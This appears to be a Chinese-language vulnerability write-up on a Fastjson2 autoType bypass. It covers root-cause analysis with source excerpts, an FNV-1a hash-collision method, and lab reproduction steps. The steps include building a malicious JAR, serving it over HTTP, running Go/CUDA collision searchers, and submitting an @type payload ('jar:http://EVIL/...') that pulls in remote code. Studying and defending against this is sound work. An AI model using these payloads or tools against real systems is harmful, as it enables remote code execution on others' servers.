免责声明
本文档和配套代码仅用于授权环境下的漏洞研究、本地靶场复现、代码审计和防御验证。禁止将本文档中的 PoC、检测逻辑或复现步骤用于未授权系统、互联网目标或任何违反法律法规的场景。使用者应自行确保测试目标、网络环境和操作行为均已获得明确授权,并自行承担因不当使用造成的后果。
漏洞简介
Fastjson2 的 2.0.62 及以下版本在处理 @type 时,ObjectReaderProvider.checkAutoType() 会逐字符计算 typeName 的增量 FNV-1a 哈希,并将中间哈希值与 AutoType 白名单哈希数组进行匹配。哈希命中后代码会直接调用 loadClass(typeName) 加载完整的 typeName 字符串,却没有再次验证该字符串文本是否真的属于白名单前缀。在特定 ClassLoader 环境下可以远程加载类导致 RCE。
影响范围
- Fastjson2 <= 2.0.62
- 目标 ClassLoader 能处理
jar:http://等 URL 协议字符串 - 目标 JVM 可出站访问攻击者 HTTP 服务
根因分析
1. 正常 JSON 解析流程
当服务端收到前端传递的普通 JSON 请求时:
{"username":"test", "password":"test"}服务端 Controller 调用 JSON.parseObject() 解析成 Java 对象:
- JSONReader 逐字符解析 JSON 字符串,拆出里面的键值对(比如 "username" 对应 "test")
- 使用 ObjectReader(反序列化器,负责把 JSON 字段映射到类属性)把 JSON 里的键值对一一赋值给类里对应的变量
- 返回一个已经填好数据的对象,后续代码直接拿来用
这就是 Fastjson2 正常解析 JSON 数据的流程。fastjson2 直接按 UserDTO.class 的结构反序列化,不涉及 checkAutoType。
2. 当 JSON 包含 @type 时
如果服务端接收到的 JSON 包含 @type 字段:
{"username":"test", "password":"test", "@type":"com.example.Foo"}解析流程发生变化,当解析器读到 key 为 @type 时,会读取其 value,然后调用 getObjectReaderAutoType() 将该字符串解析为对应的 ObjectReader(反序列化器)。
官方源码:JSONReader.java#L6797-L6813
public ObjectReader getObjectReaderAutoType(long typeHash, Class expectClass, long features) {
// 1. 先从缓存查找
ObjectReader autoTypeObjectReader = context.getObjectReaderAutoType(typeHash);
if (autoTypeObjectReader != null) {
return autoTypeObjectReader;
}
// 2. 读取 @type 的字符串值
String typeName = getString();
// 3. 如果用户注册了 autoTypeBeforeHandler,先让它处理
if (context.autoTypeBeforeHandler != null) {
Class<?> autoTypeClass = context.autoTypeBeforeHandler.apply(typeName, expectClass, features);
if (autoTypeClass != null) {
boolean fieldBased = (features & Feature.FieldBased.mask) != 0;
return context.provider.getObjectReader(autoTypeClass, fieldBased);
}
}
// 4. 否则交给 ObjectReaderProvider.getObjectReader() 处理
return context.provider.getObjectReader(typeName, expectClass, context.features | features);
}3. checkAutoType() 的安全检查
ObjectReaderProvider.getObjectReader 内部调用 checkAutoType 来验证并解析类型名。这是整个反序列化流程中的安全边界,它决定一个 @type 字符串能否被解析为 Java Class。
checkAutoType 按以下顺序对 typeName 进行安全检查:
3a. SafeMode 总闸门
官方源码:ObjectReaderProvider.java#L803-L805
if (SAFE_MODE) {
return null;
}和 Fastjson 1.x 一样,SafeMode 启用后直接返回 null,拒绝所有 autoType。但默认是关闭的。
3b. 长度检查(无字符过滤)
官方源码:ObjectReaderProvider.java#L807-L820
int typeNameLength = typeName.length();
if (typeNameLength >= 192) {
throw new JSONException("autoType is not support. " + typeName);
}注:checkAutoType和TypeUtils.loadClass()中都有>= 192的长度限制。这意味着无论走哪条路径,@type的值都不能超过 192 个字符。
checkAutoType 中没有任何针对 : 和 ! 的字符过滤逻辑。对比官方修复 PR #7695 的 diff,修复方案正是在长度检查之后新增了 : 和 ! 的拒绝检查。
因此在漏洞版本中,包含 : 或 ! 的字符串(如 jar:http://evil.com/payload)不会被拦截,可以顺利进入后续的哈希匹配流程。
4. 漏洞分支:增量 FNV-1a 哈希匹配(核心缺陷)
在漏洞版本中,无论 checkAutoType 的 autoTypeSupport == true 还是 autoTypeSupport == false 两个分支的代码逻辑完全相同——都是逐字符计算增量 FNV-1a 哈希、命中白名单后直接调用 loadClass(typeName)、均不验证前缀文本,这就是漏洞的根本原因。以默认的 !autoTypeSupport 分支为例分析:
官方源码:ObjectReaderProvider.java#L848-L873
if (!autoTypeSupport) {
long hash = MAGIC_HASH_CODE;
for (int i = 0; i < typeNameLength; ++i) {
char ch = typeName.charAt(i);
if (ch == '$') {
ch = '.';
}
hash ^= ch;
hash *= MAGIC_PRIME;
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = loadClass(typeName); // 直接加载! 不验证前缀文本!
if (clazz != null && expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. ...");
}
if (clazz != null) {
afterAutoType(typeName, clazz);
}
return clazz; // 直接返回!
}
}
}代码从 MAGIC_HASH_CODE(0xcbf29ce484222325L)开始,依次对 typeName 的每个字符执行 hash = (hash XOR ch) * MAGIC_PRIME,每计算出一个中间哈希值就用 Arrays.binarySearch 在 acceptHashCodes 数组中查找。一旦哈希命中,代码立即调用 loadClass(typeName) 加载完整的 typeName 字符串,然后直接返回。它只检查了哈希值是否相等,不验证 typeName 的前缀文本是否真的等于白名单类名。
而默认白名单只有一个哈希值,即 -6293031534589903644。
官方源码:ObjectReaderProvider.java#L206-L226
{
long[] hashCodes;
if (AUTO_TYPE_ACCEPT_LIST == null) {
hashCodes = new long[1];
} else {
hashCodes = new long[AUTO_TYPE_ACCEPT_LIST.length + 1];
for (int i = 0; i < AUTO_TYPE_ACCEPT_LIST.length; i++) {
hashCodes[i] = Fnv.hashCode64(AUTO_TYPE_ACCEPT_LIST[i]);
}
}
hashCodes[hashCodes.length - 1] = -6293031534589903644L;
Arrays.sort(hashCodes);
acceptHashCodes = hashCodes;
}如果 typeName 的某个字符的计算结果命中这一个值就可以调用 loadClass(typeName) 加载 typeName 对应的类,如果这个 loadClass 被开发者重写并允许远程加载类,就可以触发 RCE。但这样的条件在现实中很罕见。
假设目标存在能解析 jar:http:// 协议的自定义 ClassLoader,那攻击路径如下:
- 攻击者准备恶意 JAR,托管在 HTTP 服务器
- 攻击者通过 FNV-1a 碰撞计算,构造命中白名单哈希的
@type字符串并提交:{"@type":"jar:http://EVIL/probe_echo.jar!/<碰撞后缀>"} - 服务端
JSON.parseObject()→JSONReader解析 JSON 并读取@type的值 - 解析器调用
getObjectReaderAutoType()→provider.getObjectReader()→checkAutoType() checkAutoType逐字符计算增量哈希,在碰撞后缀位置命中白名单,然后调用loadClass(typeName)- 自定义
ClassLoader识别jar:http://前缀 → HTTP 下载 JAR(但是正常情况下无法匹配并加载类,需要自定义 ClassLoader 实现 fallback 加载功能) - 从 JAR 提取
.class字节码 →defineClass→<clinit>执行 → RCE
5. 碰撞构造:可逆但非瞬时
FNV-1a 的 MAGIC_PRIME(0x100000001b3L)是奇数,在模 2^64 下存在乘法逆元,因此 FNV-1a 是可逆的——给定当前哈希和目标哈希,可以精确反推出需要的下一个字符值:
c = h_i XOR (h_{i+1} * P^{-1})但反推出的 c 是 64 位值,而 fastjson2 处理 typeName 时使用的是 Java char,单个字符只有 16 位。也就是说,只有当反推结果的高 48 位全为 0 时,该值才是一个合法的 Java 字符。因此单字符直接命中目标哈希的概率约为 1 / 2^48,几乎不可行。
当前 Go/CUDA 搜索器采用 4 字符后缀作为工程折中:先枚举前三个 Java char,再通过逆运算反推第四个字符,并验证最终增量哈希是否命中 fastjson2 默认白名单哈希。这样搜索空间为 2^48;如果纯暴力枚举 4 个字符,则需要 2^64 次尝试,比当前方法慢 2^16 = 65536 倍。
需要注意,4 字符不是数学上的唯一方案,而是当前脚本采用的最小实用策略。使用更多字符也可以设计搜索策略,但仍需要处理 Java char 只有 16 位这一约束。
漏洞复现
漏洞分析部分已完成。由于真实碰撞 payload 生成耗时较长,当前复现章节仅提供环境搭建、攻击服务和碰撞搜索方法;完整的 RCE 结果将在碰撞完成后补充。cd
环境说明
漏洞环境尽可能模拟真实业务场景,位于 lab/ 目录下:
- 服务端启动一个最小化的 Java HTTP 服务,使用 JDK 内置的
com.sun.net.httpserver(无需 Spring 等框架),依赖 fastjson2 2.0.62 漏洞版本。 - 提供一个自定义 ClassLoader 实现远程类加载能力和 fallback 加载第一个类的能力(真实业务场景几乎不存在)。
- 无内置白名单,仅依赖真实碰撞后缀才能触发 RCE。
lab 环境搭建
方式一:本地运行
cd lab && ./run.shcd lab
./build.sh
docker compose up -d攻击服务搭建
构建恶意 JAR 和碰撞搜索器,并将恶意 JAR 托管在 HTTP 服务器:
cd poc
./build.sh
python3 serve.py构造真实碰撞 Payload
方式一:Go CPU 版
可以通过参数指定前缀和线程数:
cd poc
./build.sh
./build/collision_search \
-prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' \
-workers 8成功后会生成:
poc/build/collision_payload.json:可直接提交给/parse的 JSONpoc/build/collision_type.txt:JSON 转义后的完整@type字符串
Go 搜索器支持按第一个后缀字符 c0 分片,便于多机器并行:
# 机器 A 搜索 [0, 8192)
./build/collision_search \
-prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' \
-workers 8 \
-start 0 \
-end 8192
# 机器 B 搜索 [8192, 16384)
./build/collision_search \
-prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' \
-workers 8 \
-start 8192 \
-end 16384方式二:CUDA GPU 版
CUDA 版使用同样的数学逻辑,但把 c1/c2 搜索放到 GPU kernel 中执行。它不会降低 2^48 的搜索空间,只是用 RTX 显卡的大规模并行缩短搜索时间。
Linux CUDA 环境(需要 nvcc):
cd poc
./build.sh
./cuda/build.sh
./build/collision_search_cuda \
--prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' \
--device 0 \
--blocks 4096 \
--threads 256 \
--chunk-c0 1 \
--start 0 \
--end 65536Windows CUDA 环境(PowerShell,需安装 NVIDIA Driver、CUDA Toolkit,并确保 nvcc.exe 在 PATH 中):
cd poc
New-Item -ItemType Directory -Force -Path build\classes | Out-Null
javac -g:none --release 8 -d build\classes src\main\java\XEcho.java
jar cf build\probe_echo.jar -C build\classes XEcho.class
.\cuda\build.ps1
# 先运行快速自检,验证 CUDA kernel 能碰撞出已知结果
.\build\collision_search_cuda.exe `
--selftest `
--prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' `
--device 0 `
--blocks 256 `
--threads 256
# 自检通过后,再运行真实目标搜索
.\build\collision_search_cuda.exe `
--prefix 'jar:http://host.docker.internal:19090/probe_echo.jar!/' `
--device 0 `
--blocks 4096 `
--threads 256 `
--chunk-c0 1 `
--start 0 `
--end 65536参数说明:
--blocks/--threads:CUDA kernel 的网格规模。RTX 级别显卡可从4096 x 256起步测试。--chunk-c0:每次 kernel 覆盖多少个c0值。默认建议1,便于观察进度,也避免桌面显卡单个 kernel 运行过久。--start/--end:按c0分片,便于多张 GPU 或多机器并行。- Windows 桌面显卡如果作为显示卡使用,长时间 kernel 可能触发 TDR 超时。建议先用
--selftest验证实现,再用较小--chunk-c0分片运行;长时间真实搜索更适合独立计算卡、TCC 模式或已调整 TDR 的环境。
CUDA 版成功后同样输出:
poc/build/collision_payload.jsonpoc/build/collision_type.txt
修复方案
- 启用 SafeMode:
-Dfastjson2.parser.safeMode=true,拒绝所有 autoType - WAF 规则:拦截请求体中 key 包含
@type字段的 JSON 数据 - 升级 fastjson2:静等 2.0.63 版本发布



Comments | NOTHING